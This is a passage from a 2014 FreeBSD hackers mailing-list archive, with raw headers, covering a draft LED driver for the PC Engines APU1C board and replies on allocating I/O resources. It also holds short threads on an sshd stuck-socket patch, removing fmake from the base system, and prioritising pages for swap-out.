> address 0xFED801BD? >=20 > #include > #include > #include > #include > #include > #include > #include >=20 > #define BASEADDR (0xFED801BD) > #define LEDON (0x8) > #define LEDOFF (0xC8) >=20 > #define GPIO_187 187 // MODESW > #define GPIO_189 189 // LED1# > #define GPIO_190 190 // LED2# > #define GPIO_191 191 // LED3# >=20 > struct apuled_softc { > device_t sc_dev; > int sc_rid; > int sc_type; > int sc_offset; > struct resource *sc_res; > void *sc_led1; > }; >=20 > /* > * Device methods. > */ > static int apuled_probe(device_t dev); > static int apuled_attach(device_t dev); > static int apuled_detach(device_t dev); >=20 > static device_method_t apuled_methods[] =3D { > /* Device interface */ > DEVMETHOD(device_probe, apuled_probe), > DEVMETHOD(device_attach, apuled_attach), > DEVMETHOD(device_detach, apuled_detach), >=20 > DEVMETHOD_END > }; >=20 > static driver_t apuled_driver =3D { > "apuled", > apuled_methods, > sizeof(struct apuled_softc), > }; >=20 > static devclass_t apuled_devclass; > DRIVER_MODULE(apuled, pci, apuled_driver, apuled_devclass, NULL, = NULL); >=20 >=20 > static int > apuled_probe(device_t dev) > { > device_set_desc(dev, "APU led"); >=20 > return (BUS_PROBE_GENERIC); > } >=20 > static void > led_func(void *ptr, int onoff) > { > struct apuled_softc *sc =3D (struct apuled_softc *)ptr; > u_int8_t value; >=20 > if ( onoff ) { > value =3D LEDON; > } else { > value =3D LEDOFF; > } >=20 > bus_write_1(sc->sc_res, 1, value); > } >=20 > static int > apuled_attach(device_t dev) > { > struct apuled_softc *sc =3D device_get_softc(dev); >=20 > sc->sc_dev =3D dev; > sc->sc_rid =3D 1; > sc->sc_type =3D SYS_RES_IOPORT; >=20 > if ( (sc->sc_res =3D bus_alloc_resource( sc->sc_dev, > sc->sc_type, > &sc->sc_rid, > BASEADDR, > BASEADDR + 4, > 4, > RF_ACTIVE)) =3D=3D NULL ) { > device_printf( sc->sc_dev, "Unable to allocate bus = resource\n" ); > return ENXIO; >=20 > } else if ( (sc->sc_led1 =3D led_create(led_func, sc, "led1")) = =3D=3D NULL ) { > device_printf( sc->sc_dev, "Unable to create LED 1\n" ); > return ENXIO; >=20 > } else { > device_printf( sc->sc_dev, "LED 1 created\n" ); > } >=20 > return (0); > } >=20 > int > apuled_detach(device_t dev) > { > struct apuled_softc *sc =3D device_get_softc(dev); >=20 > if ( sc->sc_led1 !=3D NULL ) { > led_destroy( sc->sc_led1 ); > } >=20 > if ( sc->sc_res !=3D NULL ) { > bus_release_resource( sc->sc_dev, sc->sc_type, = sc->sc_rid, sc->sc_res ); > } >=20 > return (0); > } >=20 > --=20 > = ------------------------------------------------------------------------ > Larry Baird > Global Technology Associates, Inc. 1992-2012 | http://www.gta.com > Celebrating Twenty Years of Software Innovation | Orlando, FL > Email: lab@gta.com | TEL 407-380-0220 > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to = "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 08:40:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 25C8BAC; Tue, 22 Apr 2014 08:40:02 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id BB950169F; Tue, 22 Apr 2014 08:40:01 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s3M8drJ1003042 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 22 Apr 2014 09:39:53 +0100 (BST) Date: Tue, 22 Apr 2014 09:39:51 +0100 From: Karl Pielorz To: Konstantin Belousov , Daniel Eischen Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <16511A548F77CFFD9E1F8A09@Mail-PC.tdx.co.uk> In-Reply-To: <20140411183949.GX21331@kib.kiev.ua> References: <20140409111917.GH21331@kib.kiev.ua> <851413886E3982D2CCFEA9D9@Mail-PC.tdx.co.uk> <20140410184855.GP21331@kib.kiev.ua> <211BD03C086DDB1A07FDF036@Mail-PC.tdx.co.uk> <20140411131649.GR21331@kib.kiev.ua> <652B8CA4866C0B9E4650430B@Mail-PC.tdx.co.uk> <20140411141526.GT21331@kib.kiev.ua> <464979E8F6FCBD7EA7DAA38B@Mail-PC.tdx.co.uk> <20140411160628.GV21331@kib.kiev.ua> <20140411183949.GX21331@kib.kiev.ua> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 08:40:02 -0000 --On 11 April 2014 21:39 +0300 Konstantin Belousov wrote: > BTW, below is the updated patch with the workaround for sshd issue. > > diff --git a/secure/usr.sbin/sshd/Makefile b/secure/usr.sbin/sshd/Makefile > [snip] Ok, that's still working fine here... Is this problem likely to occur with other binaries on the system? - i.e. if ldd shows libc listed before libthr? If so - a quick straw pole on the 10.x box I have here shows that's quite a few binaries :( -Karl From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 14:40:39 2014 Return-Path: Delivered-To: freebsd-hackers@FreeBSD.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9DE57992 for ; Tue, 22 Apr 2014 14:40:39 +0000 (UTC) Received: from mho-02-ewr.mailhop.org (mho-02-ewr.mailhop.org [204.13.248.72]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 606031DD7 for ; Tue, 22 Apr 2014 14:40:39 +0000 (UTC) Received: from c-24-8-230-52.hsd1.co.comcast.net ([24.8.230.52] helo=damnhippie.dyndns.org) by mho-02-ewr.mailhop.org with esmtpsa (TLSv1:AES256-SHA:256) (Exim 4.72) (envelope-from ) id 1Wcbs8-000PIs-5p; Tue, 22 Apr 2014 14:40:32 +0000 Received: from [172.22.42.240] (revolution.hippie.lan [172.22.42.240]) by damnhippie.dyndns.org (8.14.3/8.14.3) with ESMTP id s3MEeSpd008545; Tue, 22 Apr 2014 08:40:28 -0600 (MDT) (envelope-from ian@FreeBSD.org) X-Mail-Handler: Dyn Standard SMTP by Dyn X-Originating-IP: 24.8.230.52 X-Report-Abuse-To: abuse@dyndns.com (see http://www.dyndns.com/services/sendlabs/outbound_abuse.html for abuse reporting information) X-MHO-User: U2FsdGVkX1+6qgGe7rSub64AQVamjXxQ Subject: Re: apu1c led driver From: Ian Lepore To: Larry Baird In-Reply-To: <20140422020109.GA57760@gta.com> References: <20140422020109.GA57760@gta.com> Content-Type: text/plain; charset="us-ascii" Date: Tue, 22 Apr 2014 08:40:28 -0600 Message-ID: <1398177628.1124.406.camel@revolution.hippie.lan> Mime-Version: 1.0 X-Mailer: Evolution 2.32.1 FreeBSD GNOME Team Port Content-Transfer-Encoding: 7bit Cc: freebsd-hackers@FreeBSD.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 14:40:39 -0000 On Mon, 2014-04-21 at 22:01 -0400, Larry Baird wrote: > There exists a nice simple linux driver for the leds on a pc engines apu1c > board at http://daduke.org/linux/apu/. Converting driver to use led(4) > and run on FreeBSD seemed straight forward. Or that is until I realized > I don't know how to alloc and write to a fixed set of I/O ports. I believe > the magic happens by using bus_alloc_resource(). Code below attempts to allow > control of the second of three leds on the apu1c board. Once I get that > working, it should be easy to extend driver to support all three leds. > What is the correct way to allocate and write to a a set of I/O ports at > address 0xFED801BD? > > #include > #include > #include > #include > #include > #include > #include > > #define BASEADDR (0xFED801BD) > #define LEDON (0x8) > #define LEDOFF (0xC8) > > #define GPIO_187 187 // MODESW > #define GPIO_189 189 // LED1# > #define GPIO_190 190 // LED2# > #define GPIO_191 191 // LED3# > > struct apuled_softc { > device_t sc_dev; > int sc_rid; > int sc_type; > int sc_offset; > struct resource *sc_res; > void *sc_led1; > }; > > /* > * Device methods. > */ > static int apuled_probe(device_t dev); > static int apuled_attach(device_t dev); > static int apuled_detach(device_t dev); > > static device_method_t apuled_methods[] = { > /* Device interface */ > DEVMETHOD(device_probe, apuled_probe), > DEVMETHOD(device_attach, apuled_attach), > DEVMETHOD(device_detach, apuled_detach), > > DEVMETHOD_END > }; > > static driver_t apuled_driver = { > "apuled", > apuled_methods, > sizeof(struct apuled_softc), > }; > > static devclass_t apuled_devclass; > DRIVER_MODULE(apuled, pci, apuled_driver, apuled_devclass, NULL, NULL); > > > static int > apuled_probe(device_t dev) > { > device_set_desc(dev, "APU led"); > > return (BUS_PROBE_GENERIC); > } > > static void > led_func(void *ptr, int onoff) > { > struct apuled_softc *sc = (struct apuled_softc *)ptr; > u_int8_t value; > > if ( onoff ) { > value = LEDON; > } else { > value = LEDOFF; > } > > bus_write_1(sc->sc_res, 1, value); > } > > static int > apuled_attach(device_t dev) > { > struct apuled_softc *sc = device_get_softc(dev); > > sc->sc_dev = dev; > sc->sc_rid = 1; > sc->sc_type = SYS_RES_IOPORT; > > if ( (sc->sc_res = bus_alloc_resource( sc->sc_dev, > sc->sc_type, > &sc->sc_rid, > BASEADDR, > BASEADDR + 4, > 4, > RF_ACTIVE)) == NULL ) { > device_printf( sc->sc_dev, "Unable to allocate bus resource\n" ); > return ENXIO; > > } else if ( (sc->sc_led1 = led_create(led_func, sc, "led1")) == NULL ) { > device_printf( sc->sc_dev, "Unable to create LED 1\n" ); > return ENXIO; > > } else { > device_printf( sc->sc_dev, "LED 1 created\n" ); > } > > return (0); > } > > int > apuled_detach(device_t dev) > { > struct apuled_softc *sc = device_get_softc(dev); > > if ( sc->sc_led1 != NULL ) { > led_destroy( sc->sc_led1 ); > } > > if ( sc->sc_res != NULL ) { > bus_release_resource( sc->sc_dev, sc->sc_type, sc->sc_rid, sc->sc_res ); > } > > return (0); > } > Generally rather than specifying the physical addresses as constants in the device driver, the address space and/or IO port resources are managed by the driver for the bus the device sits on. For something like LEDs and GPIOs that aren't self-identifying devices on a bus and aren't described by ACPI or other system-provided metadata, the 'hints' mechanism gives you a way to provide the resource metadata in /boot/loader.conf. The device.hints(5) manpage has some helpful info. Typically you need to provide an 'at' hint to say which bus the device is on. I'm not sure what's right for your LED/GPIO device; I've only ever used at=isa. For your device, it looks like you also need maddr/msize hints, then bus_alloc_resource_any() with an rid of 0 and a type of MEMORY should get you a bus_space handle for hardware access. -- Ian From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 20:21:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B54731D1 for ; Tue, 22 Apr 2014 20:21:14 +0000 (UTC) Received: from mail-qa0-f44.google.com (mail-qa0-f44.google.com [209.85.216.44]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 7833E17AF for ; Tue, 22 Apr 2014 20:21:14 +0000 (UTC) Received: by mail-qa0-f44.google.com with SMTP id hw13so5593855qab.3 for ; Tue, 22 Apr 2014 13:21:07 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:sender:from:date:message-id:subject :to:cc:content-type; bh=OcYkFlJoh5wQnslT7gNshBfhwRLVGj+WX96QxHDnIWg=; b=KaNHupUp7xxpoDKpoBhfv4GULR+4HkWQpoiBk+/U9Fbe1XAw9ltZMBplL88D1sZLSH BwdVU2Gr7lxLDc7jPq1YFNdnuDPk3TYrDmmSzdUaNzASYm8L21fDLzwmTNAmzsAMMSMS T/p9AbgYKl/4eZKksWSJzzi1o+GfpZIWPFc+vuf/gU2QCLLbv3ZkxYTyDKrYF8nHhlYf NhoEMbDL5jwn+r/8Bp89TuU7P6MSW9hI/e17p5XGq61rQtcKTD1Qkt1GqbsxNjaFY3rs Hw7YG/z+klBcjiYmIOYUKonfWdZbrPmBGvyVjrNIRE2PqJcVwRqObxfbNWigF9b0Hujc YZNg== X-Gm-Message-State: ALoCoQkPpOTLu4/RnBesRM91h2CHVXgSNgj1FVC0m7iBYG55TgVnL2fS6mCc0x/Tu5Bl3AwZBdbY X-Received: by 10.140.46.53 with SMTP id j50mr14855514qga.27.1398198067089; Tue, 22 Apr 2014 13:21:07 -0700 (PDT) MIME-Version: 1.0 Sender: jmmv@meroh.net Received: by 10.96.83.99 with HTTP; Tue, 22 Apr 2014 13:20:46 -0700 (PDT) X-Originating-IP: [2620:0:1009:a:7c7b:1a65:941b:3ef6] From: Julio Merino Date: Tue, 22 Apr 2014 13:20:46 -0700 X-Google-Sender-Auth: SXuYnxP6LOpy8yIvpP7ISX7EJdg Message-ID: Subject: Can fmake be deleted? To: freebsd-hackers@freebsd.org Content-Type: text/plain; charset=UTF-8 Cc: "Simon J. Gerraty" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 20:21:14 -0000 Hello, The WITHOUT_BMAKE=yes build has been broken for over a month and, as far as I can tell, only tinderbox noticed... (Should be fixed with a commit I made yesterday but tinderbox hasn't caught up yet.) Question: is there any reason to keep the old fmake around or could it be deleted along all the MK_BMAKE logic? Thanks From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 20:25:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 9249D490; Tue, 22 Apr 2014 20:25:12 +0000 (UTC) Received: from mail-wi0-x234.google.com (mail-wi0-x234.google.com [IPv6:2a00:1450:400c:c05::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 039B4180A; Tue, 22 Apr 2014 20:25:11 +0000 (UTC) Received: by mail-wi0-f180.google.com with SMTP id q5so164675wiv.13 for ; Tue, 22 Apr 2014 13:25:10 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=tbbIap0IqOe7jhLkci0kjBaos6/keXXSUwJlBSN3euM=; b=IKzEhIUlojuSiqt1xytAURXaVZBubT3jtB7NVMGLPDiBN3cATz0rEGeXHIZJVfLFdR s02WLbUkYaMPAblrTukCEm3hq1X6gL3rnqnp7hcteN/VudoyDQU3zV5FA+ucwd7shfsH oMHx54dQEBV3IrfHBBxqR7HxWsG9TdG3qqvWpi5vmTwWtVGp71LdXwxAbOSfB1+UH7ki 6W901keOQ+JQ7FLqF3WF6Ss2ppkkA4BU7DvDMY3VTLM2T5ADTBlYbgTRMx/rRPe2gXTP hvekeLR2QppCR5NA+JT+kq0dIM3a0fvqq95WzNI9moDV4et8JsoECXsmMa1zmTc1jNBl Yq9Q== X-Received: by 10.194.187.50 with SMTP id fp18mr384004wjc.89.1398198310337; Tue, 22 Apr 2014 13:25:10 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id dg5sm24613109wib.12.2014.04.22.13.25.08 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 22 Apr 2014 13:25:08 -0700 (PDT) Sender: Baptiste Daroussin Date: Tue, 22 Apr 2014 22:25:06 +0200 From: Baptiste Daroussin To: Julio Merino Subject: Re: Can fmake be deleted? Message-ID: <20140422202506.GA63561@ivaldir.etoilebsd.net> References: MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="VS++wcV0S1rZb1Fb" Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.23 (2014-03-12) Cc: freebsd-hackers@freebsd.org, "Simon J. Gerraty" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 20:25:12 -0000 --VS++wcV0S1rZb1Fb Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 22, 2014 at 01:20:46PM -0700, Julio Merino wrote: > Hello, >=20 > The WITHOUT_BMAKE=3Dyes build has been broken for over a month and, as > far as I can tell, only tinderbox noticed... (Should be fixed with a > commit I made yesterday but tinderbox hasn't caught up yet.) >=20 > Question: is there any reason to keep the old fmake around or could it > be deleted along all the MK_BMAKE logic? >=20 At least for the ports side the plan is to drop fmake support as soon as possible. regards, Bapt --VS++wcV0S1rZb1Fb Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iEYEARECAAYFAlNW0CIACgkQ8kTtMUmk6EwIRwCdFt/eEZoOa0Gnz55ef7l5ze2i vQcAoIeeKiRG+u3gJAgzAm6N2COw2MLI =L6za -----END PGP SIGNATURE----- --VS++wcV0S1rZb1Fb-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 21:07:45 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5263E87D for ; Tue, 22 Apr 2014 21:07:45 +0000 (UTC) Received: from nm4-vm1.access.bullet.mail.bf1.yahoo.com (nm4-vm1.access.bullet.mail.bf1.yahoo.com [216.109.114.112]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id D0AF41C3D for ; Tue, 22 Apr 2014 21:07:44 +0000 (UTC) Received: from [66.196.81.162] by nm4.access.bullet.mail.bf1.yahoo.com with NNFMP; 22 Apr 2014 21:05:35 -0000 Received: from [66.196.81.149] by tm8.access.bullet.mail.bf1.yahoo.com with NNFMP; 22 Apr 2014 21:05:35 -0000 Received: from [127.0.0.1] by omp1025.access.mail.bf1.yahoo.com with NNFMP; 22 Apr 2014 21:05:35 -0000 X-Yahoo-Newman-Property: ymail-3 X-Yahoo-Newman-Id: 240313.87202.bm@omp1025.access.mail.bf1.yahoo.com Received: (qmail 85881 invoked by uid 60001); 22 Apr 2014 21:05:34 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.com; s=s1024; t=1398200734; bh=kSUXwcs1Ba/KH5ppEi2rjoeNPefYBEyMyPsqO3vKva0=; h=X-YMail-OSG:Received:X-Rocket-MIMEInfo:X-Mailer:Message-ID:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type; b=5i+txMK0P/maxc56IupVaC+U2pe6qlLAKzEtDrEvhvgdSGPkn+hwOi1wquTa1Z2j9v+hZkCtHpKSPdHvgpshpG9OokgXjyHrC8N78Jy3i5lgLU1Lz9cuJpnSbzcC1DkNob5Vz4qa8hvI1TMTxbi7NrprvlmRWHiVVa1dEjgc+r8= DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=X-YMail-OSG:Received:X-Rocket-MIMEInfo:X-Mailer:Message-ID:Date:From:Reply-To:Subject:To:MIME-Version:Content-Type; b=P4YkrJRM/E/QKEWO3vLPzkyCkGoT6/x/8gOEP9ZMh29aZcGzwrMIpwTYpLjqMLUVvIWUbe2JAJozoh5jmMd9JMITWJljoPkLNBy3/Oru0IDGkhNtb/gGy6B31IaFUxW48wMEgGwcTWlu1r3FHiHjaH5mTYqynLGLH6eOHc25010=; X-YMail-OSG: C6857LsVM1lZ1sx88qXZR9NHr9CKa9hb_lXNiEjTKyHDxZz rX1jpH3OMeo3uBZhdDZRXrU19ktYr5dxr0rhCnpC5cv_Pf3SR5MYivx0..P6 r4pWOUImIjIn.1GwzPwHnQgG.5iWwFqUyPE_vbCKau3DLgZfmbGvsmVnUk7r xV1eelGnZcpzF4dm4FCbqLflP3zAjxzAQYVInDZZV.GZc2JFWSVHO7FORzQK jEzdoV7E7unyPyeTq1LgHnNrkmNK8I9loy15rslaORHcPE_KbGh.8IiLxeKD drX_DyubBUPk.TmkPBMbTDGwqzKdDl0qsinty_jJJCyNUIa8k8nWtccI5I2y ykDSUldxE2N76yuswaUt_IgGzceYcagNk_0oUt8aGGDv6xLBoHnXNz8zFJ17 IUU9Zq_eoPJeGVfOsnbv5oyj93A1U4H1UHkLgxHGXijx2nSxeLow_QREg1P6 lfapbfToQ2ZwPGhYP0b0v48fun7TqzHTANa9FttoF04fQ0VMlEW35vXtnNxE 3NLH1aGegmRtjd6wMUN0E6dMSUCmhXpE5svfjBbbXafqZSbHc4J8- Received: from [64.80.217.3] by web181703.mail.ne1.yahoo.com via HTTP; Tue, 22 Apr 2014 14:05:34 PDT X-Rocket-MIMEInfo: 002.001, SGksIAoKCklzIHRoZXJlIGFueSBtZWNoYW5pc20gZm9yIGEgcHJpdmlsZWdlZCB1c2VyIGFwcGxpY2F0aW9uIHRvIHByb3ZpZGUgYSBoaW50IHRvIGtlcm5lbCB0byBwcmlvcml0aXplIHNvbWUgdXNlciBwYWdlcyB0byBiZSBzd2FwcGVkLW91dCBsYXRlciAoYWZ0ZXIgYWxsIHRoZSAibG93ZXIiIHByaW9yaXR5IHBhZ2VzIGhhdmUgYmVlbiBzd2FwcGVkLW91dCkKClRoYW5rcywKU3VzaGFudGgKATABAQEB X-Mailer: YahooMailWebService/0.8.185.657 Message-ID: <1398200734.20818.YahooMailNeo@web181703.mail.ne1.yahoo.com> Date: Tue, 22 Apr 2014 14:05:34 -0700 (PDT) From: Sushanth Rai Subject: Priotizing pages to be swapped-out To: "freebsd-hackers@freebsd.org" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Sushanth Rai List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 21:07:45 -0000 Hi, Is there any mechanism for a privileged user application to provide a hint to kernel to prioritize some user pages to be swapped-out later (after all the "lower" priority pages have been swapped-out) Thanks, Sushanth From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 21:37:41 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 87EE96D4 for ; Tue, 22 Apr 2014 21:37:41 +0000 (UTC) Received: from mail-qg0-f47.google.com (mail-qg0-f47.google.com [209.85.192.47]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 4784210CE for ; Tue, 22 Apr 2014 21:37:41 +0000 (UTC) Received: by mail-qg0-f47.google.com with SMTP id e89so87952qgf.6 for ; Tue, 22 Apr 2014 14:37:34 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:sender:in-reply-to:references:from :date:message-id:subject:to:cc:content-type; bh=L3FrZ6LRd/fvSftbcqhIoGGyA/8nquAUjEYAHxHbQjM=; b=NWk93M6Wkt/Eymsm9mAEy58aXLq8rYbdUxKOPJk2GQuLgDWLSPJmTNu1PuWb8bi+Hf iu5shSBIB/r/HdZHgRqsz/ij7JGQNvH563kZgCwpkM1wfEyCNP5Cx+nEFAg8/SB0Y8ag C8DQGkbKcnBQ0z7VzRSkPutConP8vyH0lbk0TwaK2AImwd5FgBSh+bFy1ooe2REr2EkG +fnS/hD8TKqTGqua+R+W014aTUgrzOTJPfc0zUOt/uQ/VU5PaK18/HT8+i1Qn4d+PJFJ 1yIkUilB9PUg3ZNzdK7/QCfaYNhoRP0P5ptNaSsYmNp1ihqb/H6CcDVgwTCgg3IawFk4 qLfw== X-Gm-Message-State: ALoCoQlbxR9GoDHUaM/ykLyeVIkkEebWAAzM29NQXPOstOWI4jiVk/M/aCZFPMFf7S+3UMC6bDMM X-Received: by 10.140.84.40 with SMTP id k37mr49232570qgd.65.1398202654598; Tue, 22 Apr 2014 14:37:34 -0700 (PDT) MIME-Version: 1.0 Sender: jmmv@meroh.net Received: by 10.96.83.99 with HTTP; Tue, 22 Apr 2014 14:37:14 -0700 (PDT) X-Originating-IP: [2620:0:1009:a:4969:c1b9:453a:a52b] In-Reply-To: <20140422202506.GA63561@ivaldir.etoilebsd.net> References: <20140422202506.GA63561@ivaldir.etoilebsd.net> From: Julio Merino Date: Tue, 22 Apr 2014 14:37:14 -0700 X-Google-Sender-Auth: rTSPVISBjrHBFpi2i_0Ihscdcb0 Message-ID: Subject: Re: Can fmake be deleted? To: Baptiste Daroussin Content-Type: text/plain; charset=UTF-8 Cc: sjg@freebsd.org, freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 21:37:41 -0000 On Tue, Apr 22, 2014 at 1:25 PM, Baptiste Daroussin wrote: > On Tue, Apr 22, 2014 at 01:20:46PM -0700, Julio Merino wrote: >> Hello, >> >> The WITHOUT_BMAKE=yes build has been broken for over a month and, as >> far as I can tell, only tinderbox noticed... (Should be fixed with a >> commit I made yesterday but tinderbox hasn't caught up yet.) >> >> Question: is there any reason to keep the old fmake around or could it >> be deleted along all the MK_BMAKE logic? >> > At least for the ports side the plan is to drop fmake support as soon as > possible. What does that mean? - Can ports drop support for fmake before fmake is removed from base? - Can fmake be removed from base even if ports hasn't yet dropped its support for fmake? Thanks From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 21:46:16 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E2C2D880; Tue, 22 Apr 2014 21:46:16 +0000 (UTC) Received: from mail-we0-x234.google.com (mail-we0-x234.google.com [IPv6:2a00:1450:400c:c03::234]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 2C71B11A0; Tue, 22 Apr 2014 21:46:16 +0000 (UTC) Received: by mail-we0-f180.google.com with SMTP id k48so68574wev.11 for ; Tue, 22 Apr 2014 14:46:14 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=e0DZc9FiYk2cjdWpNIN7AASHYW254ok80m+KPMqnXic=; b=vcD7p4OFATs7q6UZ8phMZOzkOHH4qC5Cl7uNyvSmEi/A67SP9n7RwBgTSkahq3Lk0a UiGmCDsHBw7ChVSnUNV9R6nTBUaQKSFJnv++H3LeEUdP5nYphTuKTO6r2Ry5Zn1DwoAV iqnoVd7ie44HRg+6yMOHOMwcqd8dSMmsf686caf58uKdOhXImTCc3PW/PMg4wOcQL8da w6EmBkVwHNOLomrhDScGnAIiKLubZzAE+qF1QiODhpJbqBV/DyBTb7gtcz85n5IzTX6Q tp9nYi/0Azabk9vRqHIwZD+T9QzO/TFILPZzr7strr36QdE+p9Oai9q1TB+q6PoE+fQw dGEQ== X-Received: by 10.180.84.129 with SMTP id z1mr291567wiy.8.1398203174394; Tue, 22 Apr 2014 14:46:14 -0700 (PDT) Received: from ivaldir.etoilebsd.net ([2001:41d0:8:db4c::1]) by mx.google.com with ESMTPSA id 